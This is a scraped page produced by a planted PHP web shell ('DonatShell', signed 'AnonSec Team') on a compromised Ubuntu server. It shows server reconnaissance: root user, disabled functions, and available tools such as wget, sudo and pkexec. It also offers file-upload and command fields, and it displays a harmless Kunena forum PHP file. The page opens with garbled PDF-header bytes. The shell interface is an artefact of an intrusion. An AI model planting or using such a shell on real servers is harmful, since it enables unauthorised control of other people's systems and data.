%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/11584/root/var/www/html/old/libraries/kunena/request/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/11584/root/var/www/html/old/libraries/kunena/request/request.php
<?php
/**
 * Kunena Component
 * @package Kunena.Administrator.Template
 * @subpackage Categories
 *
 * @copyright (C) 2008 - 2014 Kunena Team. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
 * @link http://www.kunena.org
 **/
defined ( '_JEXEC' ) or die ();

/**
 * Implements Kunena Request class.
 *
 * This class is part of Kunena HMVC implementation, allowing calls to
 * any display controller in the component.
 *
 * <code>
 *	// Executes the controller and sets the layout for the view.
 *	echo KunenaRequest::factory('user/login')->execute()->set('layout', 'form');
 *
 *	// If there are no parameters for the view, this shorthand works also.
 *	echo KunenaRequest::factory('user/registration');
 * </code>
 *
 * Individual controller classes are located in /components/com_kunena/controllers
 * sub-folders eg: controllers/user/login/display.php
 *
 * @see KunenaLayout
 */
class KunenaRequest
{
	/**
	 * Returns controller.
	 *
	 * @param   mixed	$path	Controller path.
	 * @param	JInput	$input
	 *
	 * @return  KunenaController
	 * @throws	InvalidArgumentException
	 */
	public static function factory($path, JInput $input = null) {
		$path = (string) $path;
		if (!$path) throw new InvalidArgumentException('No controller given.', 404);

		// Attempt to load controller class if it doesn't exist.
		$class = 'KunenaController' . preg_replace('/[^A-Z0-9_]/i', '', $path) . 'Display';
		if (!class_exists($class)) {
			$filename = JPATH_BASE . "/components/com_kunena/controllers/{$path}/display.php";
			if (!is_file($filename)) {
				throw new InvalidArgumentException(sprintf('Controller %s doesn\'t exist.', $path), 404);
			}
			require_once $filename;
		}
		if (!class_exists($class)) {
			$class = 'KunenaControllerDisplay';
		}

		// Create controller object.
		return new $class($input);
	}
}

Anon7 - 2022
AnonSec Team